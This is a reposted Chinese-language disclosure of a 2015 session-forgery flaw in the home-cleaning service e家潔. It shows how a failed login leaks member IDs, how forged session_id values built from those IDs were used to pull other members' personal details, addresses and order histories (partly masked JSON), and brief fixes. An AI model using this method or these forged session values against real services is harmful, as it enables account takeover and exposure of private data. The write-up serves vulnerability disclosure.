頻道欄目
首頁 > 資訊 > 網站安全 > 正文

e家潔存在嚴重安全漏洞可導致所有會員泄密

15-10-26        來源:[db:作者]  
收藏   我要投稿

1、首先我們先了解一下e家潔是干什么的呢,原來是一家線上家政服務公司,且盛大和騰訊投資的,看來有點來頭

2、首先用自己的賬號和錯誤的密碼登錄,下面是登錄的請求報文和響應報文

從下面的響應報文可以發現,雖然登錄失敗,但報文里返回了兩個奇怪自段old_user_id和new_user_id,這個兩個字段有什么用處呢,稍后你就明白了3、用自己的賬號和正確的密碼登錄,并抓取其請求報文如下:

4、嘗試查詢自己的個人信息、歷史訂單、地址信息,由此可以推斷出系統工具session_id區分客戶的

根據以上session_id=dfc904a70bcc646e425617b695a7378d-47796448,可以發現Session的最后是一個數字串就是new_user_id字段,由此我們可以嘗試以下攻擊,第一步:使用任意手機號嘗試登錄,雖然登錄失敗,但服務器返回了new_user_id字段,因此可以所有會員的new_user_id字段第二步:偽造Session,獲取其他會員的個人信息1、使用任意手機號嘗試登錄,獲取其他會員的new_user_id(1)嘗試手機號189××××8××4,獲取new_user_id=48182262

(2)嘗試土豪手機號18×××××××××,獲取new_user_id=14512

4、偽造Session,獲取其他會員的個人信息(1)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262獲取會員的個人信息

(2)使用session_id=dfc904a70bcc646e425617b695a7378d-14152獲取會員的個人信息

(3)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262獲取會員的地址信息

Unicode轉中文為:{"code":"ok","msg":{"address":[{"city":"北京","latitude":"39.884578","longitude":"116.624272","street":"北京東旭花園","place_detail":"×單元×01","address":"北京東旭花園×單元×01","address_id":"1629979"}],"alertMsg":""}}(4)使用session_id=dfc904a70bcc646e425617b695a7378d-14152獲取會員的地址信息

(5)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262獲取會員的訂單信息

(6)使用session_id=dfc904a70bcc646e425617b695a7378d-14152獲取會員的個人訂單信息

Unicode轉中文為:{"code":"ok","msg":{"orderList":[{"extend_info":"沒有特殊需求","id":"221674","service_type":"4","place_detail":"北京中南海","reserve_time":"2014-04-19 08:00","status":"-1","worker_list":"","create_time":"2014-04-13 15:39:35","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"網站預約","order_id":"221674","service_main":"專業保潔","service_second":"衛生間保潔","create_way":"","sub_order":[],"order_status":["2014-04-13 15:39 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90078","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-21 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:22:02","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90078","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:22 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90077","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-18 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:21:38","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90077","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:21 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90076","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-18 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:20:51","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90076","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:20 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90074","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-16 10:30","status":"-1","worker_list":"","create_time":"2013-11-16 08:19:02","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90074","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:19 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90071","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-16 10:30","status":"-1","worker_list":"","create_time":"2013-11-16 08:16:12","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90071","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:16 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"沒有特殊需求","id":"90069","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-21 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:14:49","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"90069","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-16 08:14 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"客戶號碼空號","id":"63452","service_type":"1","place_detail":"朝陽湖","reserve_time":"2013-11-17 07:00","status":"-1","worker_list":"","create_time":"2013-11-15 10:03:28","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"63452","service_main":"專業保潔","service_second":"家庭保潔","create_way":"","sub_order":[],"order_status":["2013-11-15 10:03 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"已發短信,超出服務區","id":"16031","service_type":"2","place_detail":"朝陽湖","reserve_time":"2013-10-17 13:00","status":"-1","worker_list":"","create_time":"2013-10-16 05:02:50","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"蘋果app","order_id":"16031","service_main":"專業保潔","service_second":"新居開荒","create_way":"","sub_order":[],"order_status":["2013-10-16 05:02 訂單已取消"],"complain_status":["2015-04-28 17:48:48 投訴成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""}],"workerList":[],"alertMsg":"","pageNum":"1","totalPage":"1","totalNum":"9"}}保潔還去中南海。。。。

解決方案:

其實系統還存在另外一個問題,那就是不管什么時候登錄,Session都一樣

1、不要使用可以推斷出來的Session

2、系統不管該會員什么時候登錄,均使用同一個Session
 

相關TAG標簽
上一篇:臺積電:絕大多數7nm客戶都會轉向6nm_IT新聞_博客園
下一篇:最后一頁
相關文章
圖文推薦

關于我們 | 聯系我們 | 廣告服務 | 投資合作 | 版權申明 | 在線幫助 | 網站地圖 | 作品發布 | Vip技術培訓 | 舉報中心

版權所有: 紅黑聯盟--致力于做實用的IT技術學習網站

美女MM131爽爽爽毛片